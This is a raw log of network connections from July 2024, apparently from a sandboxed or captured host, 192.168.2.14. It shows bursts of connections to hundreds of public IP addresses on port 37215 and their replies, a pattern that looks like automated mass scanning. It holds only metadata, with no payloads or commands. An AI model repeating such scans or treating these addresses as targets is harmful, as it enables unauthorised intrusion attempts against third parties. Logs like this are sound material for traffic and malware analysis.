Jul 20, 2024 23:01:02.401823997 CEST	52725	37215	192.168.2.14	91.161.194.197
Jul 20, 2024 23:01:02.401824951 CEST	52725	37215	192.168.2.14	41.118.16.236
Jul 20, 2024 23:01:02.401824951 CEST	52725	37215	192.168.2.14	197.223.189.40
Jul 20, 2024 23:01:02.401824951 CEST	52725	37215	192.168.2.14	114.8.41.98
Jul 20, 2024 23:01:02.401824951 CEST	52725	37215	192.168.2.14	197.136.82.58
Jul 20, 2024 23:01:02.401824951 CEST	52725	37215	192.168.2.14	41.8.232.69
Jul 20, 2024 23:01:02.401824951 CEST	52725	37215	192.168.2.14	197.99.46.99
Jul 20, 2024 23:01:02.401824951 CEST	52725	37215	192.168.2.14	182.190.115.183
Jul 20, 2024 23:01:02.401875973 CEST	52725	37215	192.168.2.14	197.168.181.95
Jul 20, 2024 23:01:02.401875973 CEST	52725	37215	192.168.2.14	41.171.122.97
Jul 20, 2024 23:01:02.401875973 CEST	52725	37215	192.168.2.14	157.10.154.22
Jul 20, 2024 23:01:02.401876926 CEST	52725	37215	192.168.2.14	197.59.107.217
Jul 20, 2024 23:01:02.401876926 CEST	52725	37215	192.168.2.14	157.203.195.105
Jul 20, 2024 23:01:02.401876926 CEST	52725	37215	192.168.2.14	41.163.232.155
Jul 20, 2024 23:01:02.401876926 CEST	52725	37215	192.168.2.14	41.237.8.234
Jul 20, 2024 23:01:02.402081013 CEST	37215	52725	157.223.40.21	192.168.2.14
Jul 20, 2024 23:01:02.402091980 CEST	37215	52725	197.158.239.127	192.168.2.14
Jul 20, 2024 23:01:02.402101040 CEST	37215	52725	197.168.11.122	192.168.2.14
Jul 20, 2024 23:01:02.402111053 CEST	37215	52725	217.86.234.31	192.168.2.14
Jul 20, 2024 23:01:02.402121067 CEST	37215	52725	170.66.134.245	192.168.2.14
Jul 20, 2024 23:01:02.402129889 CEST	37215	52725	197.197.194.149	192.168.2.14
Jul 20, 2024 23:01:02.402138948 CEST	37215	52725	175.119.202.26	192.168.2.14
Jul 20, 2024 23:01:02.402148008 CEST	37215	52725	157.4.170.52	192.168.2.14
Jul 20, 2024 23:01:02.402157068 CEST	37215	52725	157.82.164.209	192.168.2.14
Jul 20, 2024 23:01:02.402167082 CEST	37215	52725	197.149.52.119	192.168.2.14
Jul 20, 2024 23:01:02.402184010 CEST	37215	54462	157.81.103.110	192.168.2.14
Jul 20, 2024 23:01:02.402193069 CEST	37215	52725	157.78.106.151	192.168.2.14
Jul 20, 2024 23:01:02.402201891 CEST	37215	52725	157.99.69.115	192.168.2.14
Jul 20, 2024 23:01:02.402209997 CEST	37215	52725	41.144.233.165	192.168.2.14
Jul 20, 2024 23:01:02.402219057 CEST	37215	52725	197.185.69.29	192.168.2.14
Jul 20, 2024 23:01:02.402228117 CEST	37215	52725	157.19.244.39	192.168.2.14
Jul 20, 2024 23:01:02.402236938 CEST	37215	52725	41.98.170.100	192.168.2.14
Jul 20, 2024 23:01:02.402264118 CEST	37215	52725	157.241.156.251	192.168.2.14
Jul 20, 2024 23:01:02.402272940 CEST	37215	52725	197.149.175.198	192.168.2.14
Jul 20, 2024 23:01:02.402282953 CEST	37215	52725	197.231.210.130	192.168.2.14
Jul 20, 2024 23:01:02.402292013 CEST	37215	52725	197.222.22.167	192.168.2.14
Jul 20, 2024 23:01:02.402299881 CEST	37215	52725	157.65.139.187	192.168.2.14
Jul 20, 2024 23:01:02.402308941 CEST	37215	52725	41.221.243.82	192.168.2.14
Jul 20, 2024 23:01:02.402318001 CEST	37215	52725	197.206.32.222	192.168.2.14
Jul 20, 2024 23:01:02.402566910 CEST	37215	52725	157.51.153.147	192.168.2.14
Jul 20, 2024 23:01:02.402575970 CEST	37215	52725	41.167.99.23	192.168.2.14
Jul 20, 2024 23:01:02.402584076 CEST	37215	52725	41.206.32.108	192.168.2.14
Jul 20, 2024 23:01:02.402823925 CEST	52725	37215	192.168.2.14	157.54.143.246
Jul 20, 2024 23:01:02.402823925 CEST	52725	37215	192.168.2.14	157.195.84.8
Jul 20, 2024 23:01:02.402823925 CEST	52725	37215	192.168.2.14	157.229.220.77
Jul 20, 2024 23:01:02.402823925 CEST	52725	37215	192.168.2.14	157.41.52.109
Jul 20, 2024 23:01:02.402823925 CEST	52725	37215	192.168.2.14	41.190.196.31
Jul 20, 2024 23:01:02.402823925 CEST	52725	37215	192.168.2.14	197.37.252.166
Jul 20, 2024 23:01:02.402823925 CEST	52725	37215	192.168.2.14	41.148.189.69
Jul 20, 2024 23:01:02.402823925 CEST	52725	37215	192.168.2.14	157.56.141.122
Jul 20, 2024 23:01:02.402853966 CEST	37215	52725	197.206.250.3	192.168.2.14
Jul 20, 2024 23:01:02.402863979 CEST	37215	52725	197.241.151.243	192.168.2.14
Jul 20, 2024 23:01:02.402873039 CEST	37215	52725	157.121.101.253	192.168.2.14
Jul 20, 2024 23:01:02.402882099 CEST	37215	52725	157.188.48.202	192.168.2.14
Jul 20, 2024 23:01:02.402890921 CEST	37215	52725	197.157.176.214	192.168.2.14
Jul 20, 2024 23:01:02.402899981 CEST	37215	52725	157.123.145.53	192.168.2.14
Jul 20, 2024 23:01:02.402908087 CEST	37215	52725	157.1.8.135	192.168.2.14
Jul 20, 2024 23:01:02.402916908 CEST	37215	52725	41.245.49.174	192.168.2.14
Jul 20, 2024 23:01:02.402926922 CEST	37215	52725	135.250.246.47	192.168.2.14
Jul 20, 2024 23:01:02.402935028 CEST	37215	52725	157.197.156.233	192.168.2.14
Jul 20, 2024 23:01:02.403232098 CEST	37215	52725	197.0.176.130	192.168.2.14
Jul 20, 2024 23:01:02.403242111 CEST	37215	52725	69.124.184.148	192.168.2.14
Jul 20, 2024 23:01:02.403250933 CEST	37215	52725	197.104.141.66	192.168.2.14
Jul 20, 2024 23:01:02.403259993 CEST	37215	52725	157.171.76.183	192.168.2.14
Jul 20, 2024 23:01:02.403269053 CEST	37215	52725	219.6.124.212	192.168.2.14
Jul 20, 2024 23:01:02.403276920 CEST	37215	52725	157.117.167.27	192.168.2.14
Jul 20, 2024 23:01:02.403286934 CEST	37215	52725	41.51.11.183	192.168.2.14
Jul 20, 2024 23:01:02.403295040 CEST	37215	52725	197.78.87.224	192.168.2.14
Jul 20, 2024 23:01:02.403546095 CEST	37215	52725	197.146.102.184	192.168.2.14
Jul 20, 2024 23:01:02.403556108 CEST	37215	52725	157.224.215.213	192.168.2.14
Jul 20, 2024 23:01:02.403564930 CEST	37215	52725	157.167.4.217	192.168.2.14
Jul 20, 2024 23:01:02.403573990 CEST	37215	52725	138.115.6.195	192.168.2.14
Jul 20, 2024 23:01:02.403582096 CEST	37215	52725	50.90.6.51	192.168.2.14
Jul 20, 2024 23:01:02.403592110 CEST	37215	52725	58.231.198.55	192.168.2.14
Jul 20, 2024 23:01:02.403856039 CEST	37215	52725	157.149.99.72	192.168.2.14
Jul 20, 2024 23:01:02.403866053 CEST	37215	52725	157.241.176.154	192.168.2.14
Jul 20, 2024 23:01:02.403875113 CEST	37215	52725	41.69.19.5	192.168.2.14
Jul 20, 2024 23:01:02.403883934 CEST	37215	52725	41.198.110.22	192.168.2.14
Jul 20, 2024 23:01:02.403892994 CEST	37215	52725	155.169.12.22	192.168.2.14
Jul 20, 2024 23:01:02.403901100 CEST	37215	52725	133.119.75.61	192.168.2.14
Jul 20, 2024 23:01:02.403908014 CEST	52725	37215	192.168.2.14	197.249.120.165
Jul 20, 2024 23:01:02.403908014 CEST	52725	37215	192.168.2.14	53.124.223.12
Jul 20, 2024 23:01:02.403908014 CEST	52725	37215	192.168.2.14	128.236.195.19
Jul 20, 2024 23:01:02.403908014 CEST	52725	37215	192.168.2.14	197.128.161.194
Jul 20, 2024 23:01:02.403908014 CEST	52725	37215	192.168.2.14	155.166.101.174
Jul 20, 2024 23:01:02.403908014 CEST	52725	37215	192.168.2.14	197.215.145.141
Jul 20, 2024 23:01:02.403908014 CEST	52725	37215	192.168.2.14	157.45.130.179
Jul 20, 2024 23:01:02.403908014 CEST	52725	37215	192.168.2.14	197.50.248.82
Jul 20, 2024 23:01:02.404010057 CEST	37215	52725	157.122.28.85	192.168.2.14
Jul 20, 2024 23:01:02.404019117 CEST	37215	52725	41.106.183.40	192.168.2.14
Jul 20, 2024 23:01:02.404027939 CEST	37215	52725	197.139.122.58	192.168.2.14
Jul 20, 2024 23:01:02.404036999 CEST	37215	52725	157.16.28.50	192.168.2.14
Jul 20, 2024 23:01:02.404043913 CEST	52725	37215	192.168.2.14	128.171.131.93
Jul 20, 2024 23:01:02.404043913 CEST	52725	37215	192.168.2.14	197.222.150.37
Jul 20, 2024 23:01:02.404043913 CEST	52725	37215	192.168.2.14	41.16.45.19
Jul 20, 2024 23:01:02.404043913 CEST	52725	37215	192.168.2.14	41.219.228.80
Jul 20, 2024 23:01:02.404043913 CEST	52725	37215	192.168.2.14	157.177.157.155
Jul 20, 2024 23:01:02.404043913 CEST	52725	37215	192.168.2.14	197.46.21.158
Jul 20, 2024 23:01:02.404046059 CEST	37215	52725	41.103.0.121	192.168.2.14
Jul 20, 2024 23:01:02.404043913 CEST	52725	37215	192.168.2.14	219.174.214.231
Jul 20, 2024 23:01:02.404043913 CEST	60728	37215	192.168.2.14	41.26.139.46
Jul 20, 2024 23:01:02.404083014 CEST	37215	52725	197.52.245.201	192.168.2.14
Jul 20, 2024 23:01:02.404092073 CEST	37215	52725	41.87.136.255	192.168.2.14
Jul 20, 2024 23:01:02.404100895 CEST	37215	52725	157.75.130.79	192.168.2.14
Jul 20, 2024 23:01:02.404213905 CEST	52725	37215	192.168.2.14	41.213.244.30
Jul 20, 2024 23:01:02.404213905 CEST	52725	37215	192.168.2.14	41.146.193.149
Jul 20, 2024 23:01:02.404213905 CEST	52725	37215	192.168.2.14	157.97.51.61
Jul 20, 2024 23:01:02.404213905 CEST	52725	37215	192.168.2.14	157.199.63.202
Jul 20, 2024 23:01:02.404213905 CEST	52725	37215	192.168.2.14	197.0.129.183
Jul 20, 2024 23:01:02.404213905 CEST	52725	37215	192.168.2.14	157.242.15.198
Jul 20, 2024 23:01:02.404213905 CEST	52725	37215	192.168.2.14	87.14.10.133
Jul 20, 2024 23:01:02.404213905 CEST	52725	37215	192.168.2.14	197.5.89.138
Jul 20, 2024 23:01:02.404381037 CEST	37215	52725	157.160.201.26	192.168.2.14
Jul 20, 2024 23:01:02.404475927 CEST	37215	52725	41.239.45.81	192.168.2.14
Jul 20, 2024 23:01:02.404498100 CEST	37215	52725	197.102.151.253	192.168.2.14
Jul 20, 2024 23:01:02.404515982 CEST	37215	52725	92.18.247.90	192.168.2.14
Jul 20, 2024 23:01:02.404525042 CEST	37215	52725	197.113.49.33	192.168.2.14
Jul 20, 2024 23:01:02.404537916 CEST	52725	37215	192.168.2.14	41.221.197.163
Jul 20, 2024 23:01:02.404537916 CEST	52725	37215	192.168.2.14	41.130.46.12
Jul 20, 2024 23:01:02.404537916 CEST	52725	37215	192.168.2.14	157.251.237.80
Jul 20, 2024 23:01:02.404537916 CEST	52725	37215	192.168.2.14	157.171.214.195
Jul 20, 2024 23:01:02.404537916 CEST	52725	37215	192.168.2.14	41.178.230.217
Jul 20, 2024 23:01:02.404537916 CEST	52725	37215	192.168.2.14	41.153.23.228
Jul 20, 2024 23:01:02.404537916 CEST	52725	37215	192.168.2.14	41.175.221.147
Jul 20, 2024 23:01:02.404537916 CEST	52725	37215	192.168.2.14	157.206.59.59
Jul 20, 2024 23:01:02.404936075 CEST	52725	37215	192.168.2.14	197.125.51.90
Jul 20, 2024 23:01:02.404936075 CEST	52725	37215	192.168.2.14	100.213.119.151
Jul 20, 2024 23:01:02.404936075 CEST	52725	37215	192.168.2.14	197.204.169.151
Jul 20, 2024 23:01:02.404936075 CEST	52725	37215	192.168.2.14	197.110.144.246
Jul 20, 2024 23:01:02.404936075 CEST	52725	37215	192.168.2.14	167.57.229.247
Jul 20, 2024 23:01:02.404936075 CEST	52725	37215	192.168.2.14	197.195.70.109
Jul 20, 2024 23:01:02.404936075 CEST	52725	37215	192.168.2.14	48.225.249.251
Jul 20, 2024 23:01:02.404936075 CEST	52725	37215	192.168.2.14	41.232.88.120
Jul 20, 2024 23:01:02.405173063 CEST	37215	52725	13.83.123.25	192.168.2.14
Jul 20, 2024 23:01:02.405183077 CEST	37215	52725	41.137.26.226	192.168.2.14
Jul 20, 2024 23:01:02.405193090 CEST	37215	52725	197.118.205.237	192.168.2.14
Jul 20, 2024 23:01:02.405230999 CEST	37215	52725	157.190.44.7	192.168.2.14
Jul 20, 2024 23:01:02.405241013 CEST	37215	52725	197.234.196.142	192.168.2.14
Jul 20, 2024 23:01:02.405249119 CEST	37215	52725	157.198.226.28	192.168.2.14
Jul 20, 2024 23:01:02.405257940 CEST	37215	52725	157.164.130.24	192.168.2.14
Jul 20, 2024 23:01:02.405267000 CEST	37215	52725	157.203.242.109	192.168.2.14
Jul 20, 2024 23:01:02.405276060 CEST	37215	52725	157.95.62.138	192.168.2.14
Jul 20, 2024 23:01:02.405283928 CEST	37215	60422	157.250.180.168	192.168.2.14
Jul 20, 2024 23:01:02.405293941 CEST	37215	52725	41.231.8.58	192.168.2.14
Jul 20, 2024 23:01:02.405302048 CEST	37215	52725	197.82.179.101	192.168.2.14
Jul 20, 2024 23:01:02.405311108 CEST	37215	52725	197.22.8.216	192.168.2.14
Jul 20, 2024 23:01:02.405570984 CEST	55680	37215	192.168.2.14	197.12.227.51
Jul 20, 2024 23:01:02.405570984 CEST	52725	37215	192.168.2.14	41.187.218.106
Jul 20, 2024 23:01:02.405570984 CEST	52725	37215	192.168.2.14	41.198.184.12
Jul 20, 2024 23:01:02.405570984 CEST	53616	37215	192.168.2.14	153.57.57.9
Jul 20, 2024 23:01:02.405570984 CEST	46206	37215	192.168.2.14	157.208.127.244
Jul 20, 2024 23:01:02.405570984 CEST	52725	37215	192.168.2.14	157.169.65.159
Jul 20, 2024 23:01:02.405621052 CEST	52725	37215	192.168.2.14	197.15.43.211
Jul 20, 2024 23:01:02.405621052 CEST	52725	37215	192.168.2.14	207.128.36.162
Jul 20, 2024 23:01:02.405621052 CEST	52725	37215	192.168.2.14	134.211.227.236
Jul 20, 2024 23:01:02.405621052 CEST	52725	37215	192.168.2.14	196.34.155.64
Jul 20, 2024 23:01:02.405622005 CEST	52725	37215	192.168.2.14	197.56.115.99
Jul 20, 2024 23:01:02.405622005 CEST	52725	37215	192.168.2.14	86.113.95.165
Jul 20, 2024 23:01:02.405622005 CEST	47230	37215	192.168.2.14	157.78.32.167
Jul 20, 2024 23:01:02.405705929 CEST	37215	52725	157.98.149.237	192.168.2.14
Jul 20, 2024 23:01:02.405714989 CEST	37215	52725	34.218.97.3	192.168.2.14
Jul 20, 2024 23:01:02.405724049 CEST	37215	52725	41.217.62.165	192.168.2.14
Jul 20, 2024 23:01:02.405745983 CEST	37215	52725	197.4.240.168	192.168.2.14
Jul 20, 2024 23:01:02.405755043 CEST	37215	52725	47.134.94.152	192.168.2.14
Jul 20, 2024 23:01:02.405762911 CEST	37215	52725	157.156.242.108	192.168.2.14
Jul 20, 2024 23:01:02.405771971 CEST	37215	52725	197.146.200.62	192.168.2.14
Jul 20, 2024 23:01:02.406038046 CEST	37215	52725	157.96.118.173	192.168.2.14
Jul 20, 2024 23:01:02.406048059 CEST	37215	52725	64.35.92.17	192.168.2.14
Jul 20, 2024 23:01:02.406055927 CEST	37215	52725	41.249.57.105	192.168.2.14
Jul 20, 2024 23:01:02.406064987 CEST	37215	52725	107.171.134.163	192.168.2.14
Jul 20, 2024 23:01:02.406075001 CEST	37215	52725	41.26.154.100	192.168.2.14
Jul 20, 2024 23:01:02.406084061 CEST	37215	52725	157.53.249.76	192.168.2.14
Jul 20, 2024 23:01:02.406092882 CEST	37215	52725	197.251.126.252	192.168.2.14
Jul 20, 2024 23:01:02.406101942 CEST	37215	52725	157.210.109.3	192.168.2.14
Jul 20, 2024 23:01:02.406111002 CEST	37215	52725	126.13.156.235	192.168.2.14
Jul 20, 2024 23:01:02.407075882 CEST	37215	52725	157.151.202.40	192.168.2.14
Jul 20, 2024 23:01:02.407080889 CEST	37215	52725	157.184.99.175	192.168.2.14
Jul 20, 2024 23:01:02.407089949 CEST	37215	52725	41.66.67.87	192.168.2.14
Jul 20, 2024 23:01:02.407110929 CEST	37215	52725	41.105.21.59	192.168.2.14
Jul 20, 2024 23:01:02.407115936 CEST	37215	52725	41.112.14.106	192.168.2.14
Jul 20, 2024 23:01:02.407119989 CEST	37215	52725	197.63.207.126	192.168.2.14
Jul 20, 2024 23:01:02.407124996 CEST	37215	52725	73.101.89.21	192.168.2.14
Jul 20, 2024 23:01:02.407130003 CEST	37215	52725	41.199.163.233	192.168.2.14
Jul 20, 2024 23:01:02.407135010 CEST	37215	52725	41.204.121.21	192.168.2.14
Jul 20, 2024 23:01:02.407177925 CEST	52725	37215	192.168.2.14	43.34.138.0
Jul 20, 2024 23:01:02.407177925 CEST	35292	37215	192.168.2.14	197.196.172.22
Jul 20, 2024 23:01:02.407177925 CEST	48840	37215	192.168.2.14	61.165.104.213
Jul 20, 2024 23:01:02.407177925 CEST	52725	37215	192.168.2.14	176.114.103.108
Jul 20, 2024 23:01:02.407177925 CEST	52725	37215	192.168.2.14	197.45.199.194
Jul 20, 2024 23:01:02.407177925 CEST	52725	37215	192.168.2.14	197.242.166.123
Jul 20, 2024 23:01:02.407177925 CEST	55478	37215	192.168.2.14	197.196.31.171
Jul 20, 2024 23:01:02.407252073 CEST	52725	37215	192.168.2.14	41.213.202.201
Jul 20, 2024 23:01:02.407252073 CEST	52725	37215	192.168.2.14	41.14.13.182
Jul 20, 2024 23:01:02.407252073 CEST	52176	37215	192.168.2.14	126.166.207.208
Jul 20, 2024 23:01:02.407252073 CEST	52725	37215	192.168.2.14	197.157.13.45
Jul 20, 2024 23:01:02.407252073 CEST	52725	37215	192.168.2.14	197.174.253.199
Jul 20, 2024 23:01:02.407252073 CEST	32986	37215	192.168.2.14	32.244.217.115
Jul 20, 2024 23:01:02.407252073 CEST	53052	37215	192.168.2.14	124.232.166.233
Jul 20, 2024 23:01:02.407253027 CEST	42316	37215	192.168.2.14	41.34.34.12
Jul 20, 2024 23:01:02.407396078 CEST	37215	52725	197.75.167.51	192.168.2.14
Jul 20, 2024 23:01:02.407401085 CEST	37215	52725	41.210.24.18	192.168.2.14
Jul 20, 2024 23:01:02.407411098 CEST	37215	52725	41.111.57.220	192.168.2.14
Jul 20, 2024 23:01:02.407618046 CEST	37215	52725	197.210.215.254	192.168.2.14
Jul 20, 2024 23:01:02.407623053 CEST	37215	52725	12.24.74.51	192.168.2.14
Jul 20, 2024 23:01:02.407633066 CEST	37215	52725	221.247.42.117	192.168.2.14
Jul 20, 2024 23:01:02.407636881 CEST	37215	52725	91.161.194.197	192.168.2.14
Jul 20, 2024 23:01:02.407646894 CEST	37215	52725	197.168.181.95	192.168.2.14
Jul 20, 2024 23:01:02.407650948 CEST	37215	52725	112.110.243.55	192.168.2.14
Jul 20, 2024 23:01:02.407655954 CEST	37215	52725	41.118.16.236	192.168.2.14
Jul 20, 2024 23:01:02.407660007 CEST	37215	52725	41.171.122.97	192.168.2.14
Jul 20, 2024 23:01:02.407669067 CEST	37215	52725	197.223.189.40	192.168.2.14
Jul 20, 2024 23:01:02.407672882 CEST	37215	52725	140.96.173.119	192.168.2.14
Jul 20, 2024 23:01:02.407676935 CEST	37215	52725	206.124.130.94	192.168.2.14
Jul 20, 2024 23:01:02.407680988 CEST	37215	52725	157.32.252.178	192.168.2.14
Jul 20, 2024 23:01:02.407694101 CEST	37215	52725	41.72.137.242	192.168.2.14
Jul 20, 2024 23:01:02.407699108 CEST	37215	52725	209.147.0.63	192.168.2.14
Jul 20, 2024 23:01:02.407815933 CEST	52725	37215	192.168.2.14	13.89.210.7
Jul 20, 2024 23:01:02.407815933 CEST	52725	37215	192.168.2.14	41.18.241.83
Jul 20, 2024 23:01:02.407815933 CEST	52725	37215	192.168.2.14	161.20.149.88
Jul 20, 2024 23:01:02.407815933 CEST	52725	37215	192.168.2.14	197.188.1.222
Jul 20, 2024 23:01:02.407815933 CEST	52725	37215	192.168.2.14	80.171.5.112
Jul 20, 2024 23:01:02.407815933 CEST	52725	37215	192.168.2.14	99.15.251.234
Jul 20, 2024 23:01:02.407815933 CEST	52725	37215	192.168.2.14	216.73.195.238
Jul 20, 2024 23:01:02.407815933 CEST	52725	37215	192.168.2.14	41.24.242.63
Jul 20, 2024 23:01:02.408054113 CEST	37215	52725	157.245.131.253	192.168.2.14
Jul 20, 2024 23:01:02.408058882 CEST	37215	52725	157.133.233.222	192.168.2.14
Jul 20, 2024 23:01:02.408067942 CEST	37215	52725	73.223.32.61	192.168.2.14
Jul 20, 2024 23:01:02.408198118 CEST	37215	52725	116.110.202.131	192.168.2.14
Jul 20, 2024 23:01:02.408202887 CEST	37215	52725	114.8.41.98	192.168.2.14
Jul 20, 2024 23:01:02.408210993 CEST	37215	52725	157.10.154.22	192.168.2.14
Jul 20, 2024 23:01:02.408216000 CEST	37215	52725	157.166.225.41	192.168.2.14
Jul 20, 2024 23:01:02.408225060 CEST	37215	52725	157.54.143.246	192.168.2.14
Jul 20, 2024 23:01:02.408226967 CEST	52725	37215	192.168.2.14	41.199.102.153
Jul 20, 2024 23:01:02.408226967 CEST	52725	37215	192.168.2.14	157.252.75.53
Jul 20, 2024 23:01:02.408226967 CEST	52725	37215	192.168.2.14	197.30.133.252
Jul 20, 2024 23:01:02.408226967 CEST	52725	37215	192.168.2.14	157.32.14.122
Jul 20, 2024 23:01:02.408226967 CEST	42576	37215	192.168.2.14	197.24.4.235
Jul 20, 2024 23:01:02.408229113 CEST	37215	52725	197.136.82.58	192.168.2.14
Jul 20, 2024 23:01:02.408226967 CEST	41636	37215	192.168.2.14	157.216.161.59
Jul 20, 2024 23:01:02.408226967 CEST	55730	37215	192.168.2.14	37.110.59.42
Jul 20, 2024 23:01:02.408226967 CEST	52725	37215	192.168.2.14	88.9.188.43
Jul 20, 2024 23:01:02.408368111 CEST	37215	52725	197.59.107.217	192.168.2.14
Jul 20, 2024 23:01:02.408373117 CEST	37215	52725	41.219.211.143	192.168.2.14
Jul 20, 2024 23:01:02.408382893 CEST	37215	52725	157.195.84.8	192.168.2.14
Jul 20, 2024 23:01:02.408595085 CEST	38436	37215	192.168.2.14	157.52.23.60
Jul 20, 2024 23:01:02.408595085 CEST	52725	37215	192.168.2.14	129.142.76.229
Jul 20, 2024 23:01:02.408595085 CEST	52725	37215	192.168.2.14	157.141.71.177
Jul 20, 2024 23:01:02.408596039 CEST	52725	37215	192.168.2.14	157.52.253.37
Jul 20, 2024 23:01:02.408596039 CEST	52725	37215	192.168.2.14	197.229.109.3
Jul 20, 2024 23:01:02.408596992 CEST	52725	37215	192.168.2.14	126.17.19.109
Jul 20, 2024 23:01:02.408596039 CEST	57162	37215	192.168.2.14	157.137.75.124
Jul 20, 2024 23:01:02.408596992 CEST	52725	37215	192.168.2.14	8.118.197.202
Jul 20, 2024 23:01:02.408596039 CEST	51150	37215	192.168.2.14	41.188.32.205
Jul 20, 2024 23:01:02.408596992 CEST	52725	37215	192.168.2.14	41.149.76.132
Jul 20, 2024 23:01:02.408596039 CEST	52725	37215	192.168.2.14	62.25.96.172
Jul 20, 2024 23:01:02.408596992 CEST	60734	37215	192.168.2.14	197.40.93.165
Jul 20, 2024 23:01:02.408596039 CEST	48950	37215	192.168.2.14	197.136.233.151
Jul 20, 2024 23:01:02.408596992 CEST	52725	37215	192.168.2.14	157.230.77.27
Jul 20, 2024 23:01:02.408596992 CEST	55560	37215	192.168.2.14	197.81.117.241
Jul 20, 2024 23:01:02.408596992 CEST	42312	37215	192.168.2.14	41.65.98.19
Jul 20, 2024 23:01:02.408967018 CEST	37215	52725	157.203.195.105	192.168.2.14
Jul 20, 2024 23:01:02.408972025 CEST	37215	52725	41.8.232.69	192.168.2.14
Jul 20, 2024 23:01:02.409018993 CEST	54852	37215	192.168.2.14	197.30.62.141
Jul 20, 2024 23:01:02.409018993 CEST	35070	37215	192.168.2.14	141.92.189.24
Jul 20, 2024 23:01:02.409018993 CEST	60986	37215	192.168.2.14	43.186.3.173
Jul 20, 2024 23:01:02.409018993 CEST	38188	37215	192.168.2.14	197.249.151.109
Jul 20, 2024 23:01:02.409018993 CEST	52725	37215	192.168.2.14	197.149.52.119
Jul 20, 2024 23:01:02.409018993 CEST	52725	37215	192.168.2.14	41.221.243.82
Jul 20, 2024 23:01:02.409018993 CEST	52725	37215	192.168.2.14	157.51.153.147
Jul 20, 2024 23:01:02.409018993 CEST	52725	37215	192.168.2.14	41.206.32.108
Jul 20, 2024 23:01:02.409131050 CEST	52725	37215	192.168.2.14	41.90.112.177
Jul 20, 2024 23:01:02.409131050 CEST	52725	37215	192.168.2.14	157.127.236.19
Jul 20, 2024 23:01:02.409131050 CEST	52725	37215	192.168.2.14	157.191.12.196
Jul 20, 2024 23:01:02.409131050 CEST	52725	37215	192.168.2.14	41.147.149.27
Jul 20, 2024 23:01:02.409131050 CEST	52725	37215	192.168.2.14	157.178.42.91
Jul 20, 2024 23:01:02.409131050 CEST	43282	37215	192.168.2.14	157.135.213.6
Jul 20, 2024 23:01:02.409131050 CEST	37444	37215	192.168.2.14	197.108.206.182
Jul 20, 2024 23:01:02.409152985 CEST	37215	52725	157.229.220.77	192.168.2.14
Jul 20, 2024 23:01:02.409157038 CEST	37215	52725	41.163.232.155	192.168.2.14
Jul 20, 2024 23:01:02.409166098 CEST	37215	52725	197.99.46.99	192.168.2.14
Jul 20, 2024 23:01:02.409171104 CEST	37215	52725	157.41.52.109	192.168.2.14
Jul 20, 2024 23:01:02.409181118 CEST	37215	52725	41.237.8.234	192.168.2.14
Jul 20, 2024 23:01:02.409184933 CEST	37215	52725	41.151.103.91	192.168.2.14
Jul 20, 2024 23:01:02.409188986 CEST	37215	52725	121.80.182.165	192.168.2.14
Jul 20, 2024 23:01:02.409193993 CEST	37215	52725	182.190.115.183	192.168.2.14
Jul 20, 2024 23:01:02.409429073 CEST	37215	52725	197.249.120.165	192.168.2.14
Jul 20, 2024 23:01:02.409432888 CEST	37215	52725	41.190.196.31	192.168.2.14
Jul 20, 2024 23:01:02.409441948 CEST	37215	52725	197.122.8.238	192.168.2.14
Jul 20, 2024 23:01:02.409975052 CEST	37215	52725	128.171.131.93	192.168.2.14
Jul 20, 2024 23:01:02.409980059 CEST	37215	52725	197.247.207.133	192.168.2.14
Jul 20, 2024 23:01:02.409989119 CEST	37215	52725	197.236.223.188	192.168.2.14
Jul 20, 2024 23:01:02.410048962 CEST	37215	52725	197.37.252.166	192.168.2.14
Jul 20, 2024 23:01:02.410053968 CEST	37215	52725	53.124.223.12	192.168.2.14
Jul 20, 2024 23:01:02.410063028 CEST	37215	52725	41.148.189.69	192.168.2.14
Jul 20, 2024 23:01:02.410068035 CEST	37215	52725	41.213.244.30	192.168.2.14
Jul 20, 2024 23:01:02.410077095 CEST	37215	52725	157.56.141.122	192.168.2.14
Jul 20, 2024 23:01:02.410082102 CEST	37215	52725	41.146.193.149	192.168.2.14
Jul 20, 2024 23:01:02.410155058 CEST	39320	37215	192.168.2.14	4.79.178.142
Jul 20, 2024 23:01:02.410155058 CEST	52725	37215	192.168.2.14	197.158.239.127
Jul 20, 2024 23:01:02.410155058 CEST	52725	37215	192.168.2.14	217.86.234.31
Jul 20, 2024 23:01:02.410155058 CEST	38906	37215	192.168.2.14	60.250.175.203
Jul 20, 2024 23:01:02.410155058 CEST	52725	37215	192.168.2.14	175.119.202.26
Jul 20, 2024 23:01:02.410155058 CEST	52725	37215	192.168.2.14	157.99.69.115
Jul 20, 2024 23:01:02.410155058 CEST	52725	37215	192.168.2.14	41.98.170.100
Jul 20, 2024 23:01:02.410155058 CEST	52725	37215	192.168.2.14	197.206.32.222
Jul 20, 2024 23:01:02.410352945 CEST	37215	52725	197.125.51.90	192.168.2.14
Jul 20, 2024 23:01:02.410357952 CEST	37215	52725	147.236.229.234	192.168.2.14
Jul 20, 2024 23:01:02.410429955 CEST	37215	52725	41.221.197.163	192.168.2.14
Jul 20, 2024 23:01:02.410515070 CEST	52725	37215	192.168.2.14	172.59.101.132
Jul 20, 2024 23:01:02.410515070 CEST	40600	37215	192.168.2.14	197.59.92.194
Jul 20, 2024 23:01:02.410515070 CEST	48420	37215	192.168.2.14	41.80.60.235
Jul 20, 2024 23:01:02.410515070 CEST	57882	37215	192.168.2.14	41.40.48.20
Jul 20, 2024 23:01:02.410515070 CEST	52725	37215	192.168.2.14	157.19.244.39
Jul 20, 2024 23:01:02.410515070 CEST	52725	37215	192.168.2.14	197.231.210.130
Jul 20, 2024 23:01:02.410515070 CEST	46694	37215	192.168.2.14	138.242.39.199
Jul 20, 2024 23:01:02.410515070 CEST	51542	37215	192.168.2.14	66.133.8.3
Jul 20, 2024 23:01:02.410541058 CEST	53792	37215	192.168.2.14	197.95.27.148
Jul 20, 2024 23:01:02.410541058 CEST	59604	37215	192.168.2.14	41.99.10.85
Jul 20, 2024 23:01:02.410541058 CEST	52725	37215	192.168.2.14	157.187.132.93
Jul 20, 2024 23:01:02.410541058 CEST	41482	37215	192.168.2.14	157.88.41.229
Jul 20, 2024 23:01:02.410541058 CEST	47794	37215	192.168.2.14	197.232.128.49
Jul 20, 2024 23:01:02.410541058 CEST	45018	37215	192.168.2.14	50.0.188.147
Jul 20, 2024 23:01:02.410541058 CEST	52725	37215	192.168.2.14	118.49.211.210
Jul 20, 2024 23:01:02.410541058 CEST	33888	37215	192.168.2.14	41.171.70.30
Jul 20, 2024 23:01:02.410623074 CEST	37215	52725	100.213.119.151	192.168.2.14
Jul 20, 2024 23:01:02.410932064 CEST	52068	37215	192.168.2.14	157.245.238.163
